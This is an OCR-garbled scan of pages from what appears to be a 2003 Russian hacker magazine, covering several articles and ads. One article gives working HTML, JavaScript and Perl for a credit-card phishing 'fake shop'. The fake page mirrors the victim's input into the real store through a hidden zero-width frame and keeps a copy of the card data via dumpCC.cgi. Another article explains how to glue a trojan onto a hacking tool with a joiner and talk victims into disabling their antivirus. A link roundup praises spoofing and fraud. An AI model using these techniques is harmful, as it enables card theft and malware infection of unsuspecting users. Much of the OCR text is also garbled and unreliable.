на отдельном леере (слое - по-русски). Вот 
модификацией этого слоя мы и займемся. Ис- 
пользуя локально лежащий файл (как в пер- 
вом примере), он будет меняться в зависимос- 
ти от расположения флешки (вернее, от нали- 
чия текстовика рядом с ней). 

Мне кажется, что портить композицию букви- 
цами "(с) Бу IronMAN" попросту глупо, если 
она и так лежит у меня на паге :). Поэтому я 
делаю копирайт невидимым, когда мультик 
смотрят из его родного местообитания (то 
бишь оттуда, куда положил его я). А вот если 
какой-то нахал спер мой мульт и положил к 
себе, копирайт появляется, причем закрывает 
своими полупрозрачными телесами пол-экра- 
на :). Кстати, можно просто менять его размер 


в зависимости от расположения флешки, код 
получится не сложный. Но это на любителя :). 
Итак, мы снова подгружаем переменную из 
файла в объект. Я привык делать весь мувик 
объектом (помогает от некоторых видов де- 
компиляции), поэтому данные гружу непосре- 
дственно в него. Если ты предпочитаешь дру- 
гой способ компоновки объектов, фигачь 
твою переменную в объект с копирайтом. В 
любом случае должно получиться следующее 
(тусору - объект с текстом копирайта): 


Вот так грубо я заставляю плагиаторов ссы- 
латься на меня и при желании рекламировать 
мой ресурс в сети (если вместо копирайта 
прописать урлу). Но можно добавить еще 
один подарочек любителям спереть чужое 
добро. Мы просто будем... редиректить всех 
подряд на нашу пагу с мультом, чтобы его не 
смотрели на стороне :). То есть чувак заходит 
на чужой сайт с нашим мультом, и его тут же 
перебрасывает на наш сайт, на ту страницу, 
где лежит этот же мульт. Юзеру пофиг, а нам 
приятно, да и счетчик крутится :). 


Реализовать это проще простого. Не дожида- 
ясь завершения заставки, в первом же загру- 
женном кадре мы пытаемся подгрузить из 
файла переменную и форвардим юзера на 
свой сайт, если файла не обнаружено. А если 
обнаружен, то юзер и так на нашем сайте, и 
форвардить его куда-либо нам без мазы :). 
Подгрузка работает, как всегда, для локально- 
го файла, а в условии пишем следующее: 


Вот так мы победили кариес, перхоть и плаги- 
аторов - красиво и изящно :). 


Я не Ильич и давать конкретные решения не 
люблю :). Поэтому, если ты вдруг не спра- 
вишься сам или вдруг придумаешь какой-то 
необычный способ применения подгружае- 
мых переменных для защиты, - пиши мне, аяс 
удовольствием помогу или выслушаю совет. 
Всегда твой, Человек-Утюг. 


раде 075 


СЕТЕВОЕ МОШЕННИЧЕСТВО 


НАСАОНА НА 


OHNAUH— 
MACAS3SUH 


Кредитки — это именно TO, за чем чаще всего охотятся 


большинство сетевых мошенников. Сейчас в Инете работает 


целая отрасль по добыванию рабочих номеров кредитных 
карт. Самый очевидный способ - это взлом онлайн-магазина 
или сервера банка с последующим уводом базы данных 


кредиток. Но это грубо и сложно, а я сейчас расскажу 


о менее очевидном и более простом способе, который 
применяют добытчики кред ;). 


Никакого взлома тут не будет — чистое 
мошенничество :). И главное — все до 
опупения просто. Если сформулировать 
все коротко, то суть в том, что мошенники 
выбирают какой-нибудь онлайн-магазин, 
сдирают полностью его дизигн и структу- 
ру, регистрируют похожий домен, выве- 
шивают все это на хосте и по возможнос- 
ти раскручивают. Дальше юзеры заходят 
на этот магазин, выбирают себе какой- 
нибудь хлам, заполняют форму с инфой о 
себе и о кредитке и ждут, пока им доста- 
вят товар. В это время поддельный мага- 
зин пересылает всю эту инфу реальному, 
не забыв оставить у себя копию. Получа- 
ется, что реальный магазин получает за- 
каз, снимает деньги с креды и отправляет 
товар; юзверь получает товар, при этом с 
его креды честно снимаются соответству- 
ющие баблосы. А поддельный онлайн-ма- 
газин имеет полную инфу о кредитке юзе- 
ра. Все довольны - все получили то, что 
хотели ;). Это называется насадкой на он- 
лайн-магазин. 

На словах все звучит очень просто, а на 
деле, как всегда, возникают всякие мел- 
кие (и не очень) трудности - как в техно- 
логическом плане, так и в организацион- 
ном. Сейчас попытаемся разобраться ;). 
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Вот небольшой листинг Яндекса 


075 april/O4/2003 


ОНЛАЙН-МАГАЗИНЫ: FAKE И REAL 


Первый же вопрос - как сетевые мошен- 
ники выбирают магазин для насадки? На 
крупные магазины-монстры насаживать- 
ся бесполезно - их все знают, там четко 
отлаженная система верификации, доро- 
генные движки и прочая крутатень. Обыч- 
но для насадки выбирают небольшой ма- 
газин с не очень сложной структурой 
(чтоб самим, разбираясь, не встрять :)). В 
принятой в этой среде терминологии, та- 
кой магазин называют — "Real". То, что 
получается после его переработки и что в 
дальнейшем выкладывается на хост, на- 
зывают — "Fake". Что и как перерабатыва- 
ют, рассмотрим ниже, так как сначала на- 
до разобраться, как все это работает. 


НАСАДОЧНАЯ ТЕОРИЯ 


(Следующим как раз встает вопрос: как 
собственно fake-mara3nH будет переправ- 
лять заказы геа|-магазину? Современные 
меБ-технологии предоставляют разра- 
ботчику огромное количество способов 
это осуществить :). Но для начала давай 
разберемся, как вообще работает прос- 
тейший онлайн-магазин. Последователь- 
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ность принципиально важных действий 
такая: 

1. Юзер заходит на сайт. 

2. Юзер заходит в каталог. 

3. Юзер выбирает покупку. 

4. Покупка кладется в корзину. 

5. Юзер заполняет форму, забив инфу о 
кредитке и о себе, и отправляет ее. 


А теперь смотри: в принципе, чтобы сдел- 
ка состоялась, достаточно отправить real- 
магазину только самую последнюю фор- 
му. В ней обычно содержится, как уже го- 
ворилось, инфа о креде, о юзере и отова- 
рах, которые он выбрал (скрытыми поля- 
ми, заполняется автоматически из корзи- 
ны). Соответственно, элементарный 
скрипт на аКе-магазине может класть 
всю эту инфу куда-нибудь себе, а ее ко- 
пию постить скрипту геа[-магазина. Но 
это не очень хорошо, так как все заказы 
вроде как будут приходить с одного ТР 
(где хостится fake-mara3), а это может 
неслабо напрячь админов геа|-магазина. 
Поэтому способ, когда делается копия он- 
лайн-магазина путем простого сдирания 
его дизигна, каталога товаров, а заказ в 
самом конце постится скриптом, не катит. 
Есть другой способ, имхо, более хитрый. 
Опять же делается КаКе-магазин с таким же 
дизигном как у real, опять же крадется 
весь каталог и выкладывается на хост с до- 
меном с похожим названием. Только те- 
перь в окно браузера загружаются стра- 
нички сразу обоих магазинов: и real и fake, 
при этом геа(-магазин находится во фрей- 
ме с размером 0, и его не видно, а ГаКе-ма- 
газин занимает все оставшееся место, то 
есть все окно. При этом все действия, ко- 
торые юзер производит в видимой ему 
части (на страничках #аКе-магазина), при 
помощи явовских скриптов дублируются в 
невидимом для него нулевом фрейме (на 
страничках геа|[-магазина). Выглядит все 
это так: юзер случайно находит онлайн- 
магазин (естественно, не подозревая, что 
это ГаКе’овый, насадочный магаз), шастает 
по его каталогу, выбирает себе барахло и 
отправляет форму с инфой. На протяже- 
нии всего этого времени у него в нулевом 
фрейме тусуются соответсвующие стра- 
нички реального магазина, о котором он и 
не подозревает. Когда он заходит на ос- 
новную страничку фейкового магазина, 
ему автоматически в невидимую область 
загружается основная страничка реально- 
го магазина. Когда он в фейковом магази- 
не кликает ссылочку "Каталог" и попадает 
в раздел каталога, точно также, но автома- 
тически, нажимается ссылка "Каталог" и 


загружается страница каталога в невиди- 
мой области. По сути получается, что у ад- 
минов реального магазина складывается 
картина, как будто юзер ходил по их сайту, 
лазил в их каталог, заполнял и постил их 
форму. Как такая хитрая штука кодится — 
разберемся ниже. 


КОДИНГ НАСАДКИ 


Давай в чисто образовательных целях 
создадим небольшую модель насадки на 
онлайн-магазин :). Для начала надо соз- 
дать главную страничку фейкового сайта, 
состоящую из двух фреймов — в одном 
будет реальный магаз, в другом фейко- 
вый. Для этого пишем такую index.html: 


------ index.html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title></head> 


<frameset cols="50%,50%"> 


<frame src=real.html name=real> 
<frame src=fake.html name=fake> 


</frameset> 
----- index.html ------ 


Пока что - для наглядности - не будем 3a- 
гонять левый фрейм в ноль, пускай оба 
фрейма занимают по 50% от всего окна 
браузера, так нам будет понятнее, что 
происходит. Потом я покажу, как фрейм 
загоняют в ноль. 


Теперь давай посмотрим, какие действия 
юзера с фейковой паги надо эмулировать 
на реальной. Первое - это клик на ссыл- 
ку. Надо чтоб при клике на ссылку в пра- 
вом фрейме и при переходе в раздел, ска- 
жем, "Каталог", реальный магазин в ле- 
вом фрейме тоже переходил в раздел 
"Каталог". Создадим два хтмл-файла: 


------ fake. html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title> 

<script language=JavaScript> 


function doGo() 
{ 


parent.window.real.location.href="link2.htm 
ыы 


} 
</script></head> 


<body> 
Поддельный онлайн-магазин 


<a href=link1.html OnClick="doGo();">[Ka- 
талог товаров] </a> 


</body></html> 
------ fake.html ------ 


—--- real.html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title></head> 

<body> 

Реальный OHNaNH-Mara3nH<br> 


<a href=link2.html>[Katanor товаров] </a> 


</body></html> 
------ real.html ------ 


Качай все это на сервак и пробуй. При 
нажатии на ссылку "Каталог товаров" в 
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правом фрейме и загрузке в нем файла 
link1.html, в левом фрейме должен загру- 
жаться файл link2.html. Ощутил силу :)? 
Поехали дальше. 

Следующее геморройное действие юзера, 
которое надо дублировать — это заполне- 
ние форм. Дополняй файлы fake.html и 
real.html следующим образом: 


------ fake.html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title> 

<script language=JavaScript> 


function doSubmit() 


parent.real.document.real_form.sub- 
mit() 


< 


НАСАДНЯ HA ОНЛАЙН-МАГАЗИН 


function doChange() 
{ 


parent.real.document.real_form.CC_num.valu 
e=parent.fake.document.fake_form.text1.val 
ue 


} 
function doGo() 
{ 


parent.window.real.location.href="link2.htm 
№ 

} 
</script></head> 
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<body> 
Поддельный онлайн-магазин 


<form method=post action=/cgi- 
bin/dumpCC.cgi name=fake_form> 
<input type=text name=text1 
onChange="doChange();"> 

<input type=submit value=" ok " 
onClick="doSubmit();"> 

</form> 


<br> 


<a href=link1.html OnClick="doGo();">[Ka- 
Tanor продуктов]</а> 


</body></html> 
----- таке. Вет ------ 
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Wears Ша dake 0, 


------ real.html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title> 

</head> 


<body> 
Реальный онлайн-магазин<Бг> 


<form method=post action="/cgi- 
bin/orderSend.cgi" name=real_form> 
<input type=text name=CC_num> 
<input type=submit уаие=" ok "> 
</form> 


</body></html> 
------ real.html ------ 


И еще надо создать две сдТшки - это в 
тестовых целях, чтоб мы видели, что вся 
инфа из форм постится правильно. Соз- 


давай файлы с одинаковым содержанием 
dumpCC.cgi и orderSend.cgi и швыряй их в 
папку cgi-bin. 


------ dumpCC.cgi/orderSend.cgi ------ 
#!/usr/bin/perl 

print "Content-type:text/html\n\n"; 
print <STDIN>; 

------ dumpCC.cgi/orderSend.cgi ------ 


Теперь заливай, и проверяем. При изме- 
нении текстового поля в правом фрейме, 
текстовое поле в левом фрейме тоже ме- 
няется! Но это еще не все: при нажатии 
кнопаря "ОК" и отправке формы из право- 
го фрейма, форма в левом фрейме тоже 
отправляется! Получается, что юзер за- 
полняет форму в видимом фрейме - при 
этом точно так же заполняется форма в 
невидимом фрейме - и отправляет ее, од- 
новременно отправляя форму из невиди- 
мого фрейма. 

Кстати, по поводу невидимости: перепи- 
ши index.html следующим образом, и ле- 
вый фрейм уберется у тебя за край экра- 
на — станет невидимым. 


--- index.html ------ 
<html><head><title>::: Лучший онлайн-ма- 
газин :::</title></head> 


<frameset cols="0,*" frameborder=0> 


<frame src=real.html name=real noresize> 
<frame src=fake.html name=fake> 


</frameset> 
------ index.html ------ 


Как видишь, все очень просто, даже если 
учесть, что при настоящей насадке на ма- 
газин гимора в сто раз больше. Главное 
технология — остальное дело техники ;). 
Удачного тебе самообразования и если 
будешь что-нибудь покупать в онлайне, 
загляни в исходник Naru — не насаженный 
ли это магаз. 


= 
carl ewe 


телев 


| цифровое сп Де 


Круглосуточно: кино, 
НОВОСТИ; МУЗЫКА, 


ПИ То 


тел.: 730-0000 WWW.KOSTMOS : 


= 
мы = - 


> 
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ШОНОПАОЕ 


грамотно всовываем 


«хакеру» трояна 


Космос (nkvd@zapisi.ru) & Дронич 


Здарова, чувака! Хотел ли ты когда-нибудь НВ на 
халявку? А красивую тетю Асю или чего другого’ 
риторический вопрос - безусловно хотел. Например, мне за 
две недели упало 10-11 писем с вирем «Klez» - это говорит о 
твоем необъятном желании. 


Это был 


Итак, ты брал трояна и посылал его в поч- 
товый ящик жертвы. А потом грязно ры- 
гал - мол, где сокровища-то. Правильно - 
либо Вася Голум, которого ты заспамил 
инфекционным заболеванием, не полный 
лох, либо антивирю не понравился аттач. 
Моя же задача рассказать, как прокатить 
Васечку и его антитрояновую сигнализа- 
цию. Минус способа состоит в том, что он 
ориентирован на человека, которому ну- 
жен троян или какая другая хацкая прога. 
Проще говоря - на юзера с большими ам- 
бициями. 


Что такое троян? 


Сделаю лирическое отступление для тех, 
кто в бункере. Троянку все любят обзы- 
вать вирусом, что есть весьма ошибочно. 
На самом деле это обыкновенная про- 
грамма, которая выполняет определен- 


ные действия. Вредоносной ее назвать 
нельзя хотя бы потому, что она полезна 
автору идеи - тебе :). 


Трояны делятся на три типа: 


1) Бэкдор - работает через систему кли- 
ент-сервер. Ты можешь управлять компом 
вражины почти как своим - ну там сидюку 
открыть или ребут сделать. 

2) Мыльный троян - самый распростра- 
ненный - шлет тебе по мылу сокровища 
разные. 

3) Кейлоггер - почти такое же чудо типа 
мейл-коня, но только следит за нажатием 
клавишного инструмента и шлет логи по 
мылу. 


В принципе, нам абсолютно наплевать, 
какой троян выбрать - ведь в зависимости 
от целей можно заюзать любой из них. 
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Кейлоггер пригодится, если жертва - па- 
раноидальная тварюга и вбивает пароли 
ручками. Бэкдор хорошо ставить на си- 
стему с постоянным айпишником, то есть 
висящую в локале или на выделенке. Хо- 
тя больше всего мне все равно нравятся 
именно мыльные трояны - сделав свое 
черное дело, они умеют испаряться и не 
оставлять за собой ровным счетом ника- 
ких следов. Словом, о пенетрейшене не 
узнает никто. И вот почему. 


Idea & Requirements 


Не спорю, ты уже качал трояны с «мега- 
хацкерских» страниц, но они у тебя не 
работали, а если и работали, то на сле- 
дующий день подозрительно быстро 
кончался Инет. Да, умные люди, написав 
ВИЧ-инфекцию, троянят ее, чтобы со 
своих трудов поиметь того, кто этими 
трудами и воспользовался. Как? Очень 
просто - программулиной, разработан- 
ной, видимо, Организацией Объединен- 
ных Наций, что откликается в поискови- 
ке на кличку «Joiner». Все, что требует- 
ся, - это склеить свой троян с другим. Но 
для того чтобы воспользоваться этой 
фичей, надо написать (!) своего (!!) 
оригинального (!!!) трояна, ибо только 
так он останется непойманным совре- 
менными антивирями. Но мы же любим 
простые решения, поэтому морочиться 
не будем и сыграем на хацкерских чув- 
ствах жертвы. 


Как известно, политика антивирусников 
такова, что в разряд опасных они загоня- 
ют ЛЮБЫЕ проги, связанные с секьюрити 
(так буржуи на официальном языке зовут 
хакинг). То есть портсканер - троян, ша- 
роискатель - троян, а уж бруфорсер-то 
вообще мегагипервирус :). Это если ве- 
рить дядьке Касперскому. Сечешь фишку? 
Да, мы затрояним хацкерскую прогу в на- 
дежде на то, что юзер на время работы с 
ней отключит антивирь (а надо сказать, 
что работать со включенным она просто 
не будет). А чтобы сделать нашу надежду 
не такой призрачной, зафигачим в архив 
с прогой еще и ридмиху на тему - «файр- 
волл лается, убить гада». Вот с этой со- 
циальной инженерии и стоит начать наше 
черное дело. 


Тебе потребуются четыре вещи: именно 
коняра, полезная хацкерская прога, жела- 
тельно небольшая, или чужой трой, Joiner, 
- склеивать эти все дела и софтинка для 


смены иконки - подойдет любая прога для 
вскрытия экзешников (смотри в WINfor- 
mation в этом же номере). Hy а также же- 
лательно иметь мозг и прямые такие руки. 
Ссылки на требуемые объекты давать не 
имеет смысла, ибо долго они не живут :). 
Советую сбегать на сайт любой хак-крю - у 
них ты и обретешь добро. Предостерегу 
тебя лишь в одном - все скачиваемое то- 
бой может быть также затроянено, и ты 
реально подставляешься. Есть один выход 
- качать сорцы, а потом их компилить. Вот 
сорцы для джойнера на Делфи: 
http://www.nccom.ru/ubb/ 
Forum8/HTML/000086.html 

и http://delphi.mastak.ru/ 
download/240.zip. 

То же самое и с троянами - ТОЛЬКО ис- 
ходники, иначе иметь твою жертву будет 
еще пол-Инета. Не сильно сложный тро- 
ян можно и сгенерить самому - если Инет 
твой друг. Ибо в нем полно мануалов по 
написанию коней, например: 
http://mazafaka.ru/articlez/ 
00000047.php. 


Сделать террориста проще некуда. Для 
примера я использовал MJ, якобы моди- 


фицированный джойнер. Его можно взять 
здесь: http://www.uinc.ru/files/sin- 
tez/MJ_ Setup.exe. Или просто посмотри 


на скрины. Итак, запускаем, пишем в пер- 
вой строчке путь к файлу, к которому на- 
до приаттачить троян, а во второй - про- 
писью путь именно к твоему пони. Менять 
иконку можно в нем же потом при помо- 
щи прог-потрошителей. Склеенный эк- 
зэшник генерируется в «result.exe», KOTO- 
рый без проблем переименовывается. 
Впарить по мылу, конечно, можно, но в 
последнее время все стали такие умные, 
что вряд ли прокатит - во всем виноват ][, 
кстати :). На прокат такого варианта на- 
деяться можно долго. 


В наших же интересах заставить жертву 
скачать затрояненную фишку самолично 
:). To есть максимум, что мы можем сде- 


лать, - это подкинуть ей линку на сайт, на 
котором и лежит это чудо. А уж организо- 
вать этот сайт - дело техники и пары но- 
меров из серии по вебу :). 


Если ты уже сделал свою страницу в сети, 
то впаривать МОЖНО прямо с нее. Ежели 
руки коротки или времени нет - пойдет 
децльная страничка на каком-нибудь «на- 
роде», склепать которую в генераторе 
можно за полминуты. Пример, как «дают 
скачать интересную программу», смотри 
здесь: http://nadoelo.itgo.com/in- 
dex.html и htt beeliner.narod.ru - 3a- 
бавно довольно-таки. 


Юзза запускает твое детище и наслажда- 
ется тем, чего он возжелал, а тем време- 
нем маленький пони работает как афро- 
мэн на плантации. Советуем вставить 
лошадку в программу, которая ОБЯЗА- 
ТЕЛЬНО требует выхода в Инет - порт- 
сканер или трейсер, к примеру. Таким 
образом реально получить отдачу прак- 
тически мгновенно. Если все пройдет 
нормально - будешь иметь и диалап, и 
возможность поприкалываться со спер- 
тым контакт-листом, и подефейсить. 
Смотри только сам не попади - даже на 
солидных сайтах могут быть лажа и ки- 
далово. Иди спать и перед сном прочти 
«Отче наш» задом наперед. И все время 
проговаривай вслух: «Только сорцы, 
только сорцы....». 
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Мы же ведь и без этого сможем накру- 
тить свои счетчики путем хитроумных 
скриптов и несложных примочек, прису- 
тствующих тут и там в Интернете. Гля- 
дишь, и твой сайт скоро раскрутится и 
станет настоящим гигантом по посеще- 
нию. А эти приятные циферки, обознача- 
ющие количество посещений, всегда бу- 
дут радовать твой глаз своим ежеднев- 
ным нарастанием на несколько сотен... 
да нет, пожалуй, лучше тысяч... каждый 
день... 


DOMAIN NAMES - СОМ- 
CEPTS AND FACILITIES 


http://www.rfc— 
editor.org/rfc/rfc1034.txt 
Начнем мы, пожалуй, с серьезных, офи- 
циальных документов, а именно - КЕС за 
номером 1034, который освещает такую 
тему, как «Доменная система имен - кон- 


цепция и обслуживание». Здесь ты най- 
дешь базовую информацию о том, что 
это такое, как происходит именование и 
поиск айпишника по адресу, и освоишь 
структуру запросов к ДНС-серверу. Пос- 
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кольку документов, относящихся к ДНС, 
существует довольно много, я выбрал 
именно этот, как самый первый для изу- 
чения основ работы сервиса, а также со- 
ветую обратить внимание на запрос 
1912, в котором рассматриваются общие 
настройки и ошибки, которые может до- 
пустить админ при конфигурации серве- 
ра. Ну, а в конце запроса предлагаются 
ссылки на другие доки, относящиеся к 
этой тематике. 

Рекомендовано: для общего изучения 
всем. 


MOOOEAKA \МЕВ-УЗЛОВ 
http://security.tsu.ru/info/ww 


w/security16.txt 


Некоторое количество информации о 
том, что такое подделка веб-узлов и как 
можно от этого защититься. Предостав- 
лена информация о различных способах 
подмены адреса или просто обыкновен- 
ного спуфинга. Конечно, основной упор 
делается на описание проблемы и спосо- 
бы защиты от этого, но ты для себя тоже 
можешь найти много интересного и увле- 


Frozen (frozen@real.xakep.ru) 


кательного. Многие способы рассмотре- 
ны довольно подробно, так что не соста- 
вит труда воспользоваться предостав- 
ленной информацией в своих «благих» 
целях. 

Рекомендовано: мошенники всех стран 
- объединяйтесь :)! 


HAPPY HACKER - GUIDES 
TO (MOSTLY) HARMLESS 
HACKING - GTMHH 
http://www.ha hacker.or 
tmhh/gtmhhe.shtml 
Довольно обстоятельная книга, а точнее 
он-лайн руководство «Безопасный ха- 
КИНГ». Пригодится ДЛЯ ВСЯКОГО, КТО ХОТЬ 
как-то связан с компьютерным взломом. 
Много информации, конечно, уже уста- 
ревшей, предоставлено на «страницах» 
данного руководства, но надо отметить - 
есть и довольно интересные и обстоя- 


тельные главы. Включено сюда довольно 
много всяких тем, начиная от чего-то 
вроде «как получить хороший шелл» и 
заканчивая полезными советами, «как 
использовать веб для поиска инфы ANA 


хакинга». В заключение могу сказать, 
что особых трудностей при чтении ты не 
ощутишь (разве что может тебя отпуг- 
нуть буржуинский, на котором написан 
талмуд) и все руководства понятны и ус- 
вояемы :) обычным пользовательским 
умом :). Хотя тут есть информация и до- 
вольно сложная для понимания, но в та- 
ких местах присутствуют пометки «для 


новичков», поэтому стоит заглянуть сюда 
ради интереса. 

Рекомендовано: начинающим и не толь- 
ко кулксакепам. 


УчЕБНИК ПО MAGROMEDIA 
FLASH 5 
http://zona5.al.ru/book/index. 
html 

Флэш является сегодня довольно расп- 
ространенной фишечкой, которую при- 
меняют где только можно и где нельзя, 
и этим невозможно не воспользовать- 
ся. Ведь в твоем распоряжении до- 
вольно мощный язык программирова- 
ния с большим количеством всяких 
примочек. Этот учебник поможет тебе 
освоить все тонкости флэшодизайна и 
B частности обучит основам 
ActionScript. Конечно, тут не рассмат- 
риваются способы написания вредо- 
носных программ, но, изучив всю пре- 


доставленную инфу, ты уже сам смо- 
жешь изобразить что-нибудь хитрое, с 
ма-а-аленькой такой недокументиро- 
ванной функцией :)... 
Рекомендовано: флэшо-сайто-строите- 
JAM. 


MicrRosort + INTERNET = 
ACTIVEX 

http:/ /lik-bezzz.narod.ru 
activex _what.htm 


Да, это всего лишь статья, статья по ос- 
новам применения ActiveX в своих веб- 
страничках. Но вся шняжка в том, что 
ActiveX является практически полно- 
ценной программой, способной сотво- 
рить с компьютером все, что твоей душе 
угодно. Элементы ActiveX можно писать 
практически на любом языке програм- 
мирования и уж тем более на всем из- 
вестном ВизуалВасике. Ну, а чтобы ты 
окончательно убедился в полезности 
этой фичи, лучше автора доки я сказать 
не смогу - «отсутствие защитной обо- 
лочки виртуальной машины позволяет 
расширить функциональность компо- 


нентов ActiveX - им доступен такой пря- 
мой и эффективный контроль над 
компьютером...» :). Я думаю этими 
словами сказано все и даже больше :), 
а если еще учесть всестороннюю глюка- 
вость и «секьюрность» любого продук- 
та от небезызвестной корпорации 
Microsoft, то можно сказать, что при ис- 
пользовании этой технологии получит- 
ся просто-таки монстр в обличье безо- 
бидной странички Василия Пуповид- 
зе... Так что прими во внимание и изу- 
чай эту интересную тулзу. 
Рекомендовано: любителям интерак- 
тивности на сайте, знающим васик. 


ПРАКТИЧЕСКОЕ ВВЕДЕНИЕ 
B ПРОГРАММИРОВАНИЕ НА 
JAVASCRIPT 


http://www.library.by/data/OO 


2/004/controlpanel/frame— 
set.htm 

Виртуальный аналог книги по Ява Скрип- 
ту ждет тебя по этой ссылочке. Все, на- 
чиная от азов и заканчивая сложными 


примерами по созданию крупных прило- 
жений на этом языке, ты сможешь изу- 
чить, просматривая данный линк. Предс- 
тавь, сколько интересностей можно нат- 
ворить с компутером обычного странни- 
ка Интернета, случайно забредшего на 
твой сайт. И хотя нельзя получить пол- 
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ИНФА ДЛЯ ПАГОНОДЕРА В СЕТИ 


ный контроль над машиной, используя 
Java Script, получится конкретно под- 
портить его безоблачно-шоколадное су- 
ществование :) или хотя бы можно выва- 
лить кучу окон с порнорекламой, чтобы 
хоть как-то оправдать гордое звание за- 
подлянщика и накрутить все свои воз- 
можные счетчики. 

Рекомендовано: пагостроителям-прог- 
раммистам. 


СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ 

в РЕВЕРС-ИНЖЕНЕРИНГЕ 
http://netsecurity.r2.ru/docs 
cosial.html 

Согласись, ты ведь всегда мечтал на ха- 
ляву поиметь серийный номер к какой- 
нибудь полезной программке, да еще и 
так, чтобы было все зарегистрировано на 
твое имя. Конечно, ты можешь сказать, 
что есть всякая astalavista, где без труда 
можно найти лекарство практически для 
всех продуктов программерской мысли, 
но, представь, ведь гораздо приятнее 
иметь полноценный зарегистрирован- 
ный продукт, да еще и пользоваться тех- 
поддержкой можно будет. 0 том, как все 
это провернуть, особо не напрягаясь, 
рассказывает спец по психологии разра- 
ботчиков программ - Bad_guy. Изучив 
предложенный материал, ты не только 
сможешь изобретать всякие интересные 
способы добывания легальных продук- 
тов, но также сможешь применять неко- 
торые приемы в твоей обычной жизни. В 
общем, поле деятельности тут огромное, 
и, думаю, тебе будет интересно ознако- 


миться с этим документиком. В общем, 
изучай, и, надеюсь, для тебя не будет 
большой проблемой получение нормаль- 
ных работающих продуктов... 
Рекомендовано: для интересующихся 
психологией. 


М H т Е Р H Е т 


(095) 928-6089, (095) 928-0360, (095) 928-3574 


e-shop 


http: //www.e-shop.ru 
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Tomb Raider: № 
The Angel of 
Darkness 


Sid Meier's 
Civilization Ш: 
Play the 
World 


Star Wars Galaxies: 
An Empire Divided 


Dark Age of Camelot: 
Gold Edition 


Command & Conquer: 
Generals 


ie ъ EVE Online: The 


Second Genesis 
Neverwinter Nights: $ 
Shadows of Undrentide = 


The Sims 
Online 


Ultima 

Online: Age 

of Shadows >. (Blizzard) 
Li Warcraft Ill 


Baseball Cap 


Call 2 
The Elder 


Scrolls Ш: 
Morrowind: 
Tribunal 


1) bobs © (GL) Футболка "Голубой 
ee Экран смерти pee Mouse Pad/ 
с логотипом "Хакер Коврик для 
мыши 


"Опасно для 


Г Grand Theft 


Unreal Il: 
The Awakening 


Zanzarah: 
Th | | вет Star Wars Bounty 
Hidd Allie rt auto: Vice Hunter - 12055 
Anarchy idden City | 
a ounatrac 
Online: Portal 


Quake Ш: _ Вох Set 


Notum Wars Gold Edition 


Fantasy XI: 


Zippo(R) | 
ЗАКАЗЫ ПО ИНТЕРНЕТУ — КРУГЛОСУТОЧНО! 


E-MAIL: sales@e-shop.ru 
ЗАКАЗЫ ПО ТЕЛЕФОНУ МОЖНО СДЕЛАТЬ С 10.00 ДО 21.00 БЕЗ ВЫХОДНЫХ 
ТЕЛЕФОНЫ: 928-6089, 928-0360, 928-3574 


Lighter 


м A г А 3 и H 


(095) 928-6089, (095) 928-0360, (095) 928-3574 


$ 399,99 


$ 209,99 


$ 110.99 


(Blizzard) Warcraft Ill 
Action Figure: Storm 
Rage The Night Elf 
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БЕСПЛАТНЫЙ КАТАЛОГ E-Shop 


Индекс 
(WestWood) (Blizzard) The Art ane 
Command & Conquer: of Warcraft Дом корпус квартира 
Red Alert 2: Chrono ФИО 


Legionnaire - Pewter 
Figure 


Отправьте купон по адресу: 101000, Москва, 
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я 2 ae > ПЕРВЫЦ 
i —_ CEHCTAHT! 


РЕЦЕНЗИЯ HA УСТРОЙСТВО 


ЖУРНАЛ 


Самый нужный софт 
для Palm, Psion, 
Pocket PC, ноутбуков, 
цифровых камер 

. и сотовых телефонов 
на одном диске 


NAANbHHH | Ах — 
ен — 


не PAYALNIH 


\\ 
, We а DOHTOPA 


SO ОоБРЯНСНОГО 


ПАЯЛЬНИК HA СЛУЖБЕ WEB-MOLWEHHUKOB 


PAYALNIK Доктора Доврянского 


спутник ПОЗИЦИЯ азимут солнце возвышение провайдер цена Гбайт 
(зимой) в месяц 


IntelSat 904. БОЕ 153 10:12 23 http:/ /www.planetsky.com/ 32 
Eurobird 28,2E 191 12:44 25 http:/ /www.planetsky.com/ 32 


Eurobird 28,2E 191 12:44 25 http:/ /www.satspeed.net/ 60 
Astra 1H 19;2E 201 13:24 24 http:/ /www.europeonline.com/ 20 
Sirius 2 DE 217 14:28 20 http:/ /www.bizarnet.ro/ 33 
TelStar 12 15W 237 15:48 11 http:/ /www.planetsky.com/ 32 


Решение: 
что надо знать, 
чтобы организовать? 


Я, конечно, буду ставить тарелку сам, но 
лаже чтобы договориться с мастером, тебе 
понадобятся эти данные: 
1) Стоимость оборудования: | 
- простенький спутниковый модем -80 
злобных президентов; 
- тарелка с принимающей головкой ~50 
вожделенных. 
Получается не дороже обычного модема ! 
или стоимости подключения к домашней ! 
сети. Конечно, извращенцы могут купить 
супертарелку с суперприбамбасами за су- 
перцену, но наш расчет на минимально не- ! 
обходимое. 
2) Скорость: 
- телефонный модем льет со скоростью 1-5 ! 
Килобайт в секунду; i 
- Интернет по выделенной линии через POC- 
сийского провайдера работает обычно от 
20 ло 50 килобайт в секунду, потому что 
каналы на запад узенькие (жмотярские); 
- с компа на комп в большой локальной се- 
ти Ethernet 10mbit файл качается со ско- ! 


ростью от 200 до 500 Килобайт в секунду, вы с координатами 56:37. А чтобы можно '! только руки дойдут до установки, сразу об 
потому что сеть обычно перегружена; ; было прикинуть: смотрит ли спутник в твою '! этом напишу в «Паяльник»! 
- со спутника скорость от 10 до 250 кило- : сторону, я рассчитал время, в которое сол- | 
байт в секунду зависит только от политики нышко находится в этом направлении зи- Инструмент: 
провайдера. мой. Летом нужно добавлять час, потому что прога для расчета направления 
3) Определение направления, выбор | унас часы переводят, солнцу-то пофиг! Для ! 
спутника, выбор провайдера: | того чтобы получить время, когда в этот угол ! ЕТ 
Нам нужны геостационарные спутники, KO- | придет солнце, нужно азимуг поделить на ! Еслиты нашел новый спутник или если ты жи- 
торые висят над определенной точкой зем- | 15, а остаток от деления умножить Ha 60. i вешьв другом городе, то эта программулина 
ли. В их направлении указывает азимуталь- ! Угол возвышения - чем больше тем лучше. ! поможеттебе рассчитать азимутальный угол 


ный угол. Этот угол зависит от позиции | Особенно это важно для города, где высо- : и угол возвышения, а также другие парамет- 
